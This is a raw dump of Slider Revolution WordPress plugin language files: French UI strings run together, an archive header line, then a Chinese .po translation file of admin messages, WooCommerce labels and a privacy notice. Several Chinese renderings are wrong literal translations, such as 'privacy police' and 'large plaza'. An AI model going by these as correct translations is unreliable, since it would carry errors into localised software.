silencieuxBasculer le SliderDemainHautDéclenché parTwitterTwitter @Paramètres TwitterTypeTypesTypes et catégoriesTout déverrouilléRétablir le son du médiaDésinscritNon triésTout mettre à jourHistorique de mise à jourMettre à jour plus tardMettre à jour la listeMettre à jour maintenantMettre à jour le plug inMises à jourMises à jour, nouveaux produits, astucesMise à jour en coursMise à jour des listesLa mise à jour du plugin a échouéMise à jour du plugin en cours ...La mise à jour du plugin peut prendre quelques instants.Taille maximum du fichier en téléchargement (256M)Télécharger le dossier en écritureUtiliser la couvertureUtiliser les tailles personnaliséesUtiliser l'imageUtiliser les sauts de ligne dans les colonnes uniquementNom Utilisateur :Série de photo de l'utilisateurPhotos publiques de l'utilisateurURL de l'utilisateur :L'utilisation de ces données n'est autorisée qu'avec une licence valide du plugin jQuery Slider Revolution, disponible sur CodeCanyon: http://codecanyon.net/item/slider-revolution-responsive-jquery-plugin/2580848?ref=themepunchVIDEOVidéoLa vidéo de couverture n'a pas pu être chargéeVidéo dans le Slide actuelVidéosVoir tous les posts en %sVimeoVisiter la pageATTENDEZAttentionBienvenu sur Slider Revolution 6Que se passera-t-il-il ensuite?Quoi de neuf?Où souhaitez-vous déplacer les Layers héritées?WooCommerceBibliothèque WordPressHauteur maximale du WrapperRequête incorrecteFormat de catégorie incorrectMauvais format fichier d'exportation pour Slider ! Assurez-vous que le fichier téléchargé est un fichier zip avec un fichier slider_export.txt correct à la racine ou un fichier slider_export.txt valide.Requête incorrecte!Oui, supprimer tous les SlidersOui, supprimer le SlideOui, supprimer le SliderOui, exporter le SliderVous exécutez Slider Revolution YouTubeParamètres YouTubeYoutubeou bien ajoutez la page actuelle à en tant que document HTMLpar conteneuren pixels ou %centre bascentre centrecentre hautliste séparée par des virgules | ex: 23,24,25impossible de trouver le bon Slide à copier, veuillez réessayer.spécifiez un nom de moduledec'est-à-dire 1200c'est à dire http://fonts.useso.com/css?family for chinese Environmentdans les "Paramètres Généraux" de Slider Revolution.jQuery déclenchéen bas à gauchecentre gaucheen haut à gaucheaucunpar actionouen bas à droitecentre droiteen haut à droiteslider_export.txt n'existe pas!àxxxx xxxx xxxx xxxxlanguages/index.php000060400000000033151724235750010335 0ustar00\n" "Language-Team: Chinese (China)\n" "Language: zh_CN\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-Basepath: .\n" "X-Poedit-KeywordsList: __;_e;_:1;gettext:1;dgettext:2;ngettext:1,2;dngettext:" "2,3;__:1;_e:1;_c:1;_n:1,2;_n_noop:1,2;_nc:1,2;__ngettext:1,2;__ngettext_noop:" "1,2;_x:1,2c;_ex:1,2c;_nx:1,2,4c;_nx_noop:1,2,3c;_n_js:1,2;_nx_js:1,2,3c;" "esc_attr__:1;esc_html__:1;esc_attr_e:1;esc_html_e:1;esc_attr_x:1,2c;" "esc_html_x:1,2c;comments_number_link:2,3;t:1;st:1;trans:1;transChoice:1,2\n" "X-Loco-Target-Locale: en_US\n" "X-Generator: Loco https://localise.biz/\n" "X-Loco-Version: 2.2.2; wp-5.2.2\n" "X-Poedit-SearchPath-0: ..\n" #: revslider.php:147 msgid "" "If you want to use the PHP function \"add_revslider\" in your code please " "make sure to activate " msgstr "如果您想在代码中使用PHP函数“add_revslider ”,请确保激活" #: revslider.php:148 msgid "\"Include RevSlider libraries globally\" " msgstr "“全局包含RevSlider库”" #: revslider.php:149 msgid "and/or add the current page to the " msgstr "和/要么 将当前页面添加到" #: revslider.php:150 msgid "\"Pages to include RevSlider libraries\" option " msgstr "“包含RevSlider库的页面”选项" #: revslider.php:151 msgid "in the \"Global Settings\" of Slider Revolution." msgstr "在Slider Revolution的“全球设置”中。" #: revslider.php:201 msgid "Revolution Slider Error:" msgstr "Revolution Slider错误:" #: includes/woocommerce.class.php:43 msgid "Product" msgstr "产品" #: includes/woocommerce.class.php:44 msgid "Product Variation" msgstr "产品变化" #: includes/woocommerce.class.php:130 admin/views/builder-slider-forms.php:636 msgid "Regular Price" msgstr "正常价格" #: includes/woocommerce.class.php:131 admin/views/builder-slider-forms.php:640 msgid "Sale Price" msgstr "销售价格" #: includes/woocommerce.class.php:132 msgid "Number Of Sales" msgstr "销售数量" #: includes/woocommerce.class.php:133 msgid "Featured Products" msgstr "特色产品" #: includes/woocommerce.class.php:134 admin/views/modals-builder.php:594 msgid "SKU" msgstr "SKU" #: includes/woocommerce.class.php:135 admin/views/modals-builder.php:596 msgid "Stock Quantity" msgstr "库存数量" #: includes/slide.class.php:257 msgid "Slide ID" msgstr "Slide ID" #: includes/slide.class.php:873 msgid "Source must be from Stream" msgstr "来源必须来自Stream" #: includes/slide.class.php:1961 admin/revslider-admin.class.php:1991 #: admin/views/builder-slide-forms.php:480 msgid "Global Layers" msgstr "全局图层" #: includes/output.class.php:5686 msgid "" "No slides found, please add at least one Slide Template to the choosen " "language." msgstr "没有Sliders发现,请至少添加一个Slide选择语言的模板。。" #: includes/output.class.php:5688 msgid "No slides found, please add some slides" msgstr "没有Sliders发现,请加一些 slides" #: includes/output.class.php:5857 msgid "Please follow this link to edit the Slider:" msgstr "请点击此链接进行编辑Slider:" #: includes/external-sources.class.php:385 msgid "Can't get the bearer token, check your credentials" msgstr "无法获得持有人令牌,请检查您的凭据" #: includes/external-sources.class.php:438 msgid "Bearer Token is good, check your query" msgstr "Bearer Token很好,请检查您的查询" #: includes/external-sources.class.php:592 msgid "Instagram reports: Parse script error" msgstr "Instagram报道:解析脚本错误" #: includes/external-sources.class.php:598 msgid "Instagram reports: Content did not match expected" msgstr "Instagram报道:内容与预期不符" #: includes/external-sources.class.php:601 msgid "Instagram reports: Content is private" msgstr "Instagram报道:内容是私密的" #: includes/em-integration.class.php:32 msgid "All Events" msgstr "所有活动" #: includes/em-integration.class.php:33 msgid "Today" msgstr "今天" #: includes/em-integration.class.php:34 msgid "Tomorrow" msgstr "明天" #: includes/em-integration.class.php:35 msgid "Future" msgstr "未来" #: includes/em-integration.class.php:36 msgid "Past" msgstr "过去" #: includes/em-integration.class.php:37 msgid "This Month" msgstr "这个月" #: includes/em-integration.class.php:38 msgid "Next Month" msgstr "下个月" #: includes/em-integration.class.php:160 msgid "Event Start Date" msgstr "活动开始日期" #: includes/em-integration.class.php:161 msgid "Event End Date" msgstr "活动结束日期" #: includes/data.class.php:35 msgid "Loaded Google Fonts" msgstr "已加载的Google字体" #: includes/data.class.php:38 includes/data.class.php:39 #: includes/data.class.php:40 msgid "Serif Fonts" msgstr "Serif字体" #: includes/data.class.php:43 includes/data.class.php:44 #: includes/data.class.php:45 includes/data.class.php:46 #: includes/data.class.php:47 includes/data.class.php:48 #: includes/data.class.php:49 includes/data.class.php:50 msgid "Sans-Serif Fonts" msgstr "Sans-Serif字体" #: includes/data.class.php:53 includes/data.class.php:54 msgid "Monospace Fonts" msgstr "等宽字体" #: includes/data.class.php:65 msgid "Google Fonts" msgstr "谷歌字体" #: includes/data.class.php:199 msgid "Original" msgstr "原版的" #: includes/data.class.php:200 includes/data.class.php:242 #: includes/data.class.php:257 msgid "Large" msgstr "大" #: includes/data.class.php:201 msgid "Large Square" msgstr "大广场" #: includes/data.class.php:202 includes/data.class.php:232 #: includes/data.class.php:241 includes/data.class.php:256 msgid "Medium" msgstr "介质" #: includes/data.class.php:203 msgid "Medium 800" msgstr "中等800" #: includes/data.class.php:204 msgid "Medium 640" msgstr "中等640" #: includes/data.class.php:205 includes/data.class.php:240 msgid "Small" msgstr "小" #: includes/data.class.php:206 msgid "Small 320" msgstr "小320" #: includes/data.class.php:207 includes/data.class.php:214 #: includes/data.class.php:226 includes/data.class.php:255 #: admin/views/builder-slide-forms.php:20 msgid "Thumbnail" msgstr "缩略图" #: includes/data.class.php:208 msgid "Square" msgstr "广场" #: includes/data.class.php:213 includes/data.class.php:220 msgid "Standard Resolution" msgstr "标准分辨率" #: includes/data.class.php:215 msgid "Low Resolution" msgstr "低解析度" #: includes/data.class.php:225 includes/data.class.php:254 #: admin/views/builder-slide-forms.php:709 msgid "Original Size" msgstr "原始尺寸" #: includes/data.class.php:231 admin/views/builder-nav-forms.php:838 #: admin/views/modals-builder.php:323 admin/views/modals-builder.php:324 #: admin/views/modals-builder.php:325 admin/views/modals-builder.php:326 #: admin/views/builder-slide-forms.php:296 #: admin/views/builder-slide-forms.php:301 #: admin/views/builder-slide-forms.php:306 #: admin/views/builder-slide-forms.php:565 msgid "Default" msgstr "默认" #: includes/data.class.php:233 msgid "High" msgstr "高" #: includes/data.class.php:234 msgid "Standard" msgstr "标准" #: includes/data.class.php:235 msgid "Max. Res." msgstr "最大。 RES。" #: includes/functions.class.php:85 msgid "Slider Revolution encountered the following error: " msgstr "Slider Revolution遇到以下错误:" #: includes/functions.class.php:225 msgid " should be numeric" msgstr "应该是数字" #: includes/functions.class.php:235 msgid " should not be empty" msgstr "不应该是空的" #: includes/functions.class.php:1161 msgid "Wrong category format" msgstr "错误的类别格式" #: includes/functions.class.php:1563 #, php-format msgid "View all posts in %s" msgstr "查看%s所有帖子" #: includes/wpml.class.php:39 msgid "The WPML plugin is not activated" msgstr "WPML插件未激活" #: includes/wpml.class.php:55 includes/wpml.class.php:128 msgid "All Languages" msgstr "所有语言" #: includes/object-library.class.php:206 includes/object-library.class.php:219 #: includes/object-library.class.php:321 msgid "Plugin not activated" msgstr "插件未激活" #: includes/object-library.class.php:248 includes/object-library.class.php:345 msgid "No data received" msgstr "未收到数据" #: includes/object-library.class.php:252 includes/object-library.class.php:270 #: includes/object-library.class.php:273 msgid "Error downloading object" msgstr "下载对象时出错" #: includes/object-library.class.php:310 msgid "Error downloading layers" msgstr "下载图层时出错" #: includes/object-library.class.php:349 includes/object-library.class.php:356 msgid "Error downloading layers data" msgstr "下载图层数据时出错" #: includes/slider.class.php:665 msgid "Slide not found in the main slides of the slider. Maybe it" msgstr "Slide 主要没找到slides的slider 。也许吧" #: includes/slider.class.php:950 msgid "A Slider with the given alias already exists" msgstr "已存在具有给定别名的滑块" #: includes/slider.class.php:1359 includes/slider.class.php:1366 #: includes/slider.class.php:1374 msgid "Slide could not be duplicated" msgstr "Slide 无法复制" #: includes/slider.class.php:1483 msgid "This Source Type must be from posts." msgstr "此来源类型必须来自帖子。" #: includes/slider.class.php:1626 includes/slider.class.php:1641 msgid "Sorry, this Social Stream cannot be displayed." msgstr "抱歉,无法显示此社交流。" #: includes/navigation.class.php:241 msgid "Invalid ID" msgstr "ID无效" #: includes/navigation.class.php:244 msgid "Navigation could not be deleted" msgstr "导航无法删除" #: includes/navigation.class.php:520 msgid "Can't modify a default preset of default navigations" msgstr "无法修改默认预设的默认导航" #: includes/navigation.class.php:536 includes/navigation.class.php:576 msgid "Preset handle already exists, please choose a different name" msgstr "预设手柄已存在,请选择其他名称" #: includes/navigation.class.php:636 msgid "Navigation not found, could not add preset" msgstr "找不到导航,无法添加预设" #: includes/navigation.class.php:671 msgid "Can't delete default preset of default navigations" msgstr "无法删除默认预设的默认导航" #: includes/navigation.class.php:673 msgid "Preset not found in default navigations" msgstr "默认导航中未找到预设" #: includes/navigation.class.php:685 admin/revslider-admin.class.php:920 msgid "Preset not found" msgstr "预设未找到" #: includes/navigation.class.php:710 msgid "Navigation not found, could not delete preset" msgstr "找不到导航,无法删除预设" #: includes/extension.class.php:47 admin/includes/widget.class.php:14 msgid "Slider Revolution" msgstr "Slider Revolution" #: includes/extension.class.php:105 msgid "Choose Revolution Slider" msgstr "选择Revolution Slider" #: includes/extension.class.php:109 msgid "--- Choose Slider ---" msgstr "---选择滑块---" #: admin/revslider-admin.class.php:246 msgid "Choose Slide Template" msgstr "选择 Slide 模板" #: admin/revslider-admin.class.php:404 msgid "" "Activate Slider Revolution for Premium Benefits (e.g. " "Live Updates)." msgstr "" "启用 Slider Revolution 对于 优惠(eg. 实时更新)." #: admin/revslider-admin.class.php:415 msgid "A new version of Slider Revolution is available." msgstr "新版本 Slider Revolution 是可用的" #: admin/revslider-admin.class.php:436 msgid "" "

            In case you’re using Google Web Fonts (default) or playing videos or " "sounds via YouTube or Vimeo in Slider Revolution we recommend to add the " "corresponding text phrase to your privacy police:

            \n" "\t\t

            YouTube

            Our website uses plugins from YouTube, which is " "operated by Google. The operator of the pages is YouTube LLC, 901 Cherry Ave." ", San Bruno, CA 94066, USA.

            If you visit one of our pages featuring a " "YouTube plugin, a connection to the YouTube servers is established. Here the " "YouTube server is informed about which of our pages you have visited.

            " "If you're logged in to your YouTube account, YouTube allows you to associate " "your browsing behavior directly with your personal profile. You can prevent " "this by logging out of your YouTube account.

            YouTube is used to help " "make our website appealing. This constitutes a justified interest pursuant " "to Art. 6 (1) (f) DSGVO.

            Further information about handling user data," " can be found in the data protection declaration of YouTube under " "https://www.google.de/intl/de/policies/privacy.

            \n" "\t\t

            Vimeo

            Our website uses features provided by the Vimeo video " "portal. This service is provided by Vimeo Inc., 555 West 18th Street, New " "York, New York 10011, USA.

            If you visit one of our pages featuring a " "Vimeo plugin, a connection to the Vimeo servers is established. Here the " "Vimeo server is informed about which of our pages you have visited. In " "addition, Vimeo will receive your IP address. This also applies if you are " "not logged in to Vimeo when you visit our plugin or do not have a Vimeo " "account. The information is transmitted to a Vimeo server in the US, where " "it is stored.

            If you are logged in to your Vimeo account, Vimeo " "allows you to associate your browsing behavior directly with your personal " "profile. You can prevent this by logging out of your Vimeo account.

            " "For more information on how to handle user data, please refer to the Vimeo " "Privacy Policy at " "https://vimeo.com/privacy.

            \n" "\t\t

            Google Web Fonts

            For uniform representation of fonts, this " "page uses web fonts provided by Google. When you open a page, your browser " "loads the required web fonts into your browser cache to display texts and " "fonts correctly.

            For this purpose your browser has to establish a " "direct connection to Google servers. Google thus becomes aware that our web " "page was accessed via your IP address. The use of Google Web fonts is done " "in the interest of a uniform and attractive presentation of our plugin. This " "constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            If " "your browser does not support web fonts, a standard font is used by your " "computer.

            Further information about handling user data, can be found " "at " "https://developers.google.com/fonts/faq and in Google's privacy policy " "at " "https://www.google.com/policies/privacy/.

            \n" "\t\t

            SoundCloud

            On our pages, plugins of the SoundCloud social " "network (SoundCloud Limited, Berners House, 47-48 Berners Street, London W1T " "3NF, UK) may be integrated. The SoundCloud plugins can be recognized by the " "SoundCloud logo on our site.

            \n" "\t\t\t

            When you visit our site, a direct connection between your browser " "and the SoundCloud server is established via the plugin. This enables " "SoundCloud to receive information that you have visited our site from your " "IP address. If you click on the “Like” or “Share” buttons while you are " "logged into your SoundCloud account, you can link the content of our pages " "to your SoundCloud profile. This means that SoundCloud can associate visits " "to our pages with your user account. We would like to point out that, as the " "provider of these pages, we have no knowledge of the content of the data " "transmitted or how it will be used by SoundCloud. For more information on " "SoundCloud’s privacy policy, please go to https://soundcloud." "com/pages/privacy.

            If you do not want SoundCloud to associate your " "visit to our site with your SoundCloud account, please log out of your " "SoundCloud account.

            " msgstr "" "

            如果您在Slider " "Revolution中使用Google网络字体(默认)或通过YouTube或Vimeo播放视频或声音,我们建议您向隐私警察添加相应的文字短语:" " n t t

            YouTube

            " "我们的网站使用YouTube运营的插件,该插件由Google运营。这些网页的运营商是YouTube LLC,901 Cherry Ave.,San " "Bruno,CA 94066,USA。

            " "如果您访问我们的某个YouTube插件页面,则会建立与YouTube服务器的连接。在这里,YouTube服务器会被告知您访问过我们的哪些页面。 " "

            如果您已登录自己的YouTube帐户,则YouTube允许您将浏览行为直接与您的个人资料相关联。您可以通过退出YouTube帐户来阻止此操作。

            YouTube用于帮助我们的网站吸引人。根据Art,这构成了合理的利益。 6(1)(f)DSGVO。

            " "有关处理用户数据的更多信息,请参阅YouTube的数据保护声明 https://www.google." "de/intl/de/policies/privacy n t t < h3> Vimeo

            " "我们的网站使用Vimeo视频门户提供的功能。此服务由Vimeo Inc.,555 West 18th Street,New York,New York " "10011,USA提供。

            " "如果您访问我们的一个带有Vimeo插件的页面,则建立与Vimeo服务器的连接。在这里,Vimeo服务器会被告知您访问过我们的哪些页面。此外,Vimeo将收到您的IP地址。如果您在访问我们的插件时没有登录到Vimeo或没有Vimeo帐户,这也适用。该信息将传输到美国的Vimeo服务器,并存储在该服务器中。

            如果您已登录Vimeo帐户,Vimeo允许您将浏览行为直接与您的个人资料相关联。您可以通过注销Vimeo帐户来防止这种情况。 " "

            有关如何处理用户数据的更多信息,请参阅 https://vimeo.com/privacy n t t

            " "Google网络字体

            " "统一的字体表示,此页面使用Google提供的网络字体。当您打开页面时,浏览器会将所需的Web字体加载到浏览器缓存中以正确显示文本和字体。

            " "为此,您的浏览器必须建立与Google服务器的直接连接。因此,Google意识到我们的网页是通过您的IP地址访问的。使用Google " "Web字体是为了使我们的插件具有统一且有吸引力的呈现方式。根据Art,这构成了合理的利益。 6(1)(f)DSGVO。

            " "如果您的浏览器不支持Web字体,您的计算机将使用标准字体。

            有关处理用户数据的更多信息,可以是可在 https://developers." "google.com/fonts/faq 上找到Google的隐私政策,请访问 https://www.google." "com/policies/privacy/ n t t

            SoundCloud

            " "在我们的网页上,SoundCloud社交网络的插件(SoundCloud Limited,Berners House,47-48 Berners " "Street,London W1T 3NF ,英国)可能是整合的。我们网站上的SoundCloud徽标可以识别SoundCloud插件。 n " " t t t

            " "当您访问我们的网站时,您的浏览器和SoundCloud服务器之间的直接连接是通过插件建立的。这使SoundCloud能够从您的IP地址接收您访问过我们网站的信息。如果在登录SoundCloud帐户时单击“赞”或“共享”按钮,则可以将页面内容链接到SoundCloud配置文件。这意味着SoundCloud可以将访问我们的网页与您的用户帐户相关联。我们想指出的是,作为这些页面的提供者,我们不了解传输的数据内容或SoundCloud将如何使用它们。有关SoundCloud隐私政策的更多信息,请访问https" "://soundcloud.com/pages/privacy.

            " "如果您不希望SoundCloud将您对我们网站的访问与您的SoundCloud帐户相关联,请登录超出您的SoundCloud帐户。" #: admin/revslider-admin.class.php:484 msgid "Function Not Available in Demo Mode" msgstr "功能在演示模式下不可用" #: admin/revslider-admin.class.php:506 admin/revslider-admin.class.php:512 msgid "Function Only Available for Adminstrators" msgstr "功能仅适用于管理员" #: admin/revslider-admin.class.php:521 msgid "Bad Request" msgstr "错误的请求" #: admin/revslider-admin.class.php:532 msgid "The Purchase Code needs to be set!" msgstr "购买代码需要设置!" #: admin/revslider-admin.class.php:537 msgid "Plugin successfully activated" msgstr "插件已成功激活" #: admin/revslider-admin.class.php:539 admin/includes/template.class.php:60 msgid "Purchase Code is invalid" msgstr "购买代码无效" #: admin/revslider-admin.class.php:542 msgid "Purchase Code already registered!" msgstr "购买代码已经注册!" #: admin/revslider-admin.class.php:544 msgid "Purchase Code was locked, please contact the ThemePunch support!" msgstr "购买代码已被锁定,请联系ThemePunch支持!" #: admin/revslider-admin.class.php:546 msgid "Purchase Code could not be validated" msgstr "购买代码无法验证" #: admin/revslider-admin.class.php:553 msgid "Plugin deregistered" msgstr "插件已取消注册" #: admin/revslider-admin.class.php:555 msgid "Deregistration failed!" msgstr "撤销注册失败!" #: admin/revslider-admin.class.php:569 msgid "Saved" msgstr "保存" #: admin/revslider-admin.class.php:580 msgid "Connection to Update Server Failed" msgstr "与更新服务器的连接失败" #: admin/revslider-admin.class.php:631 admin/revslider-admin.class.php:693 msgid "Slider Import Failed" msgstr "Slider 导入失败" #: admin/revslider-admin.class.php:634 msgid "Template Slider Import Failed" msgstr "模板Slider 导入失败" #: admin/revslider-admin.class.php:645 msgid "Template Slider Installation Failed" msgstr "模板Slider 安装失败" #: admin/revslider-admin.class.php:669 msgid "Slide duplication failed" msgstr "Slide 重复失败" #: admin/revslider-admin.class.php:753 msgid "Slider Deleted" msgstr "Slider 删除" #: admin/revslider-admin.class.php:765 msgid "Duplication Failed" msgstr "复制失败" #: admin/revslider-admin.class.php:773 msgid "Slide Saved" msgstr "Slide保存" #: admin/revslider-admin.class.php:775 msgid "Slide not found" msgstr "Slide 未找到" #: admin/revslider-admin.class.php:829 admin/revslider-admin.class.php:1668 #: admin/revslider-admin.class.php:1673 msgid "Slider not found" msgstr "Slider 未找到" #: admin/revslider-admin.class.php:863 msgid "Posts" msgstr "帖子" #: admin/revslider-admin.class.php:890 msgid "Global Settings saved/updated" msgstr "全局设置已保存/更新" #: admin/revslider-admin.class.php:892 admin/revslider-admin.class.php:895 msgid "Global Settings not saved/updated" msgstr "全局设置未保存/更新" #: admin/revslider-admin.class.php:903 msgid "Navigation preset saved/updated" msgstr "导航预设已保存/更新" #: admin/revslider-admin.class.php:906 msgid "Preset could not be saved/values are the same" msgstr "无法保存预设/值是相同的" #: admin/revslider-admin.class.php:917 msgid "Navigation preset deleted" msgstr "导航预设已删除" #: admin/revslider-admin.class.php:950 msgid "Animation deleted" msgstr "动画已删除" #: admin/revslider-admin.class.php:952 msgid "Deletion failed" msgstr "删除失败" #: admin/revslider-admin.class.php:970 msgid "Animation saved" msgstr "动画保存" #: admin/revslider-admin.class.php:973 msgid "Animation could not be saved" msgstr "动画无法保存" #: admin/revslider-admin.class.php:1005 admin/revslider-admin.class.php:1011 msgid "Slider could not be loaded" msgstr "Slider 无法加载" #: admin/revslider-admin.class.php:1074 msgid "New Folder" msgstr "新建文件夹" #: admin/revslider-admin.class.php:1081 msgid "Folder Creation Failed" msgstr "文件夹创建失败" #: admin/revslider-admin.class.php:1090 msgid "Folder Deleted" msgstr "文件夹已删除" #: admin/revslider-admin.class.php:1092 msgid "Folder Deletion Failed" msgstr "文件夹删除失败" #: admin/revslider-admin.class.php:1101 msgid "Tags Updated" msgstr "标签已更新" #: admin/revslider-admin.class.php:1103 msgid "Failed to Update Tags" msgstr "无法更新标签" #: admin/revslider-admin.class.php:1114 msgid "Slider Moved to Folder" msgstr "Slider 已移至文件夹" #: admin/revslider-admin.class.php:1116 msgid "Failed to Move Slider Into Folder" msgstr "移动失败Slider进入文件夹 " #: admin/revslider-admin.class.php:1127 msgid "Title updated" msgstr "标题已更新" #: admin/revslider-admin.class.php:1129 msgid "Failed to update Title" msgstr "无法更新标题" #: admin/revslider-admin.class.php:1135 msgid "Slider Revolution Preview" msgstr "Slider Revolution预习" #: admin/revslider-admin.class.php:1250 msgid "Invalid Email" msgstr "不合规电邮" #: admin/revslider-admin.class.php:1253 msgid "Success! Please check your E-Mails to finish the subscription" msgstr "成功!请检查您的电子邮件以完成订阅" #: admin/revslider-admin.class.php:1256 msgid "Invalid Email/Could not connect to the Newsletter server" msgstr "无效的电子邮件/无法连接到新闻稿服务器" #: admin/revslider-admin.class.php:1259 msgid "No Email given" msgstr "没有电子邮件" #: admin/revslider-admin.class.php:1296 msgid "Favorite Changed" msgstr "最喜欢的改变" #: admin/revslider-admin.class.php:1323 msgid "Object could not be loaded" msgstr "无法加载对象" #: admin/revslider-admin.class.php:1333 msgid "Video cover could not be loaded" msgstr "无法加载视频封面" #: admin/revslider-admin.class.php:1357 msgid "Could not create Slide" msgstr "无法创建幻灯片" #: admin/revslider-admin.class.php:1377 msgid "Could not create Slider" msgstr "无法创建Slider" #: admin/revslider-admin.class.php:1408 msgid "AddOn could not be activated" msgstr "AddOn 无法激活" #: admin/revslider-admin.class.php:1420 msgid "AddOn deactivated" msgstr "AddOn 停用" #: admin/revslider-admin.class.php:1422 msgid "AddOn could not be deactivated" msgstr "AddOn 无法停用" #: admin/revslider-admin.class.php:1549 msgid "Successfully fetched Facebook albums" msgstr "成功获取Facebook专辑" #: admin/revslider-admin.class.php:1551 msgid "Could not fetch Facebook albums" msgstr "无法获取Facebook专辑" #: admin/revslider-admin.class.php:1555 msgid "Cleared Albums" msgstr "清除相册" #: admin/revslider-admin.class.php:1564 msgid "Successfully fetched flickr photosets" msgstr "成功获取了flickr照片" #: admin/revslider-admin.class.php:1566 msgid "Could not fetch flickr photosets" msgstr "无法获取flickr照片" #: admin/revslider-admin.class.php:1571 msgid "Cleared Photosets" msgstr "清除照片" #: admin/revslider-admin.class.php:1573 msgid "No User URL - Could not fetch flickr photosets" msgstr "没有用户URL - 无法获取flickr照片集" #: admin/revslider-admin.class.php:1576 msgid "No API KEY - Could not fetch flickr photosets" msgstr "没有API KEY - 无法获取flickr照片集" #: admin/revslider-admin.class.php:1585 msgid "Successfully fetched YouTube playlists" msgstr "已成功获取YouTube播放列表" #: admin/revslider-admin.class.php:1587 msgid "Could not fetch YouTube playlists" msgstr "无法获取YouTube播放列表" #: admin/revslider-admin.class.php:1595 msgid "Slider Revolution database structure was updated" msgstr "Slider Revolution数据库结构已更新" #: admin/revslider-admin.class.php:1626 msgid "No response on action" msgstr "对行动没有回应" #: admin/revslider-admin.class.php:1677 msgid "No Data Received" msgstr "未收到数据" #: admin/revslider-admin.class.php:1686 msgid "Loading Error" msgstr "加载错误" #: admin/revslider-admin.class.php:1686 msgid "Loading Error: " msgstr "加载错误:" #: admin/revslider-admin.class.php:1759 msgid "Please Wait a Moment" msgstr "请稍等片刻" #: admin/revslider-admin.class.php:1760 admin/revslider-admin.class.php:1857 msgid "Ooppps...." msgstr "Ooppps ...." #: admin/revslider-admin.class.php:1761 admin/revslider-admin.class.php:1858 msgid "None of the Settings changed. There is Nothing to Save" msgstr "没有任何设置更改。没有什么可以节省的" #: admin/revslider-admin.class.php:1762 admin/revslider-admin.class.php:1859 msgid "Enter Preset Name to Save or Delete" msgstr "输入预设名称以保存或删除" #: admin/revslider-admin.class.php:1763 admin/revslider-admin.class.php:1860 msgid "Custom Size is currently Disabled" msgstr "习惯尺寸目前已停用" #: admin/revslider-admin.class.php:1764 admin/revslider-admin.class.php:1861 msgid "" "The Current Size is set to calculate the Layer grid sizes Automatically.
            " "Do you want to continue with Custom Sizes or do you want to keep the " "Automatically generated sizes ?" msgstr "“当前大小”设置为自动计算“图层”网格大小。
            是否要继续使用“自定义大小”或者是否要保留“自动生成的大小”?" #: admin/revslider-admin.class.php:1765 admin/revslider-admin.class.php:1862 msgid "Keep Auto Sizes" msgstr "保持自动大小" #: admin/revslider-admin.class.php:1766 admin/revslider-admin.class.php:1863 msgid "Use Custom Sizes" msgstr "使用自定义大小" #: admin/revslider-admin.class.php:1767 admin/revslider-admin.class.php:1864 msgid "What should happen Next?" msgstr "接下来会发生什么?" #: admin/revslider-admin.class.php:1768 admin/revslider-admin.class.php:1865 msgid "Need Attention by removing" msgstr "需要注意的是删除" #: admin/revslider-admin.class.php:1769 admin/revslider-admin.class.php:1866 msgid "Where do you want to move the Inherited Layers?" msgstr "你想在哪里移动继承层?" #: admin/revslider-admin.class.php:1770 admin/revslider-admin.class.php:1867 msgid "Drag & Drop Import File" msgstr "拖放导入文件" #: admin/revslider-admin.class.php:1771 admin/revslider-admin.class.php:1868 msgid "or" msgstr "要么" #: admin/revslider-admin.class.php:1772 admin/revslider-admin.class.php:1869 msgid "Click to Choose" msgstr "点击选择" #: admin/revslider-admin.class.php:1773 admin/revslider-admin.class.php:1870 msgid "Embed" msgstr "嵌" #: admin/revslider-admin.class.php:1774 admin/revslider-admin.class.php:1871 msgid "Export" msgstr "出口" #: admin/revslider-admin.class.php:1775 admin/revslider-admin.class.php:1873 #: admin/views/builder-nav-forms.php:230 admin/views/builder-nav-forms.php:370 #: admin/views/builder-nav-forms.php:557 admin/views/builder-nav-forms.php:741 msgid "Delete" msgstr "删除" #: admin/revslider-admin.class.php:1776 admin/revslider-admin.class.php:1874 #: admin/views/builder.php:141 msgid "Duplicate" msgstr "重复" #: admin/revslider-admin.class.php:1777 admin/revslider-admin.class.php:1875 #: admin/views/modals-general.php:40 admin/views/builder.php:303 msgid "Preview" msgstr "预习" #: admin/revslider-admin.class.php:1778 admin/revslider-admin.class.php:1876 #: admin/views/modals-builder.php:582 msgid "Tags" msgstr "标签" #: admin/revslider-admin.class.php:1779 admin/revslider-admin.class.php:1877 msgid "Folder" msgstr "夹" #: admin/revslider-admin.class.php:1780 admin/revslider-admin.class.php:1878 msgid "Rename" msgstr "改名" #: admin/revslider-admin.class.php:1781 admin/revslider-admin.class.php:1879 msgid "Root Level" msgstr "根级别" #: admin/revslider-admin.class.php:1782 admin/revslider-admin.class.php:1880 #: admin/includes/shortcode_generator/shortcode_generator.class.php:122 msgid "Root" msgstr "根" #: admin/revslider-admin.class.php:1783 admin/revslider-admin.class.php:1881 #: admin/includes/shortcode_generator/shortcode_generator.class.php:148 msgid "Show" msgstr "节目" #: admin/revslider-admin.class.php:1784 admin/revslider-admin.class.php:1882 #: admin/includes/shortcode_generator/shortcode_generator.class.php:149 msgid "Per Page" msgstr "每页" #: admin/revslider-admin.class.php:1791 #: admin/includes/shortcode_generator/shortcode_generator.class.php:112 msgid "© Copyright & License Info" msgstr "©版权和许可证信息" #: admin/revslider-admin.class.php:1792 admin/views/overview.php:125 msgid "Registered" msgstr "注册" #: admin/revslider-admin.class.php:1793 msgid "Unregistered" msgstr "未注册" #: admin/revslider-admin.class.php:1794 msgid "Dismiss Messages" msgstr "关闭消息" #: admin/revslider-admin.class.php:1795 msgid "Some AddOns have new versions available" msgstr "一些AddOns有新版本可用" #: admin/revslider-admin.class.php:1796 msgid "New Version Available. Please Update" msgstr "新版本可用。请更新" #: admin/revslider-admin.class.php:1797 msgid "AddOns Outdated. Please Update" msgstr "AddOns 过时了。请更新" #: admin/revslider-admin.class.php:1798 msgid "Plugin is not Registered" msgstr "插件未注册" #: admin/revslider-admin.class.php:1799 msgid "Register to unlock Premium Features" msgstr "注册以解锁高级功能" #: admin/revslider-admin.class.php:1800 msgid "Register to Unlock all Features" msgstr "注册以解锁所有功能" #: admin/revslider-admin.class.php:1801 msgid "Register to unlock AddOns" msgstr "注册以解锁AddOns" #: admin/revslider-admin.class.php:1802 msgid "Register to unlock Support" msgstr "注册以解锁支持" #: 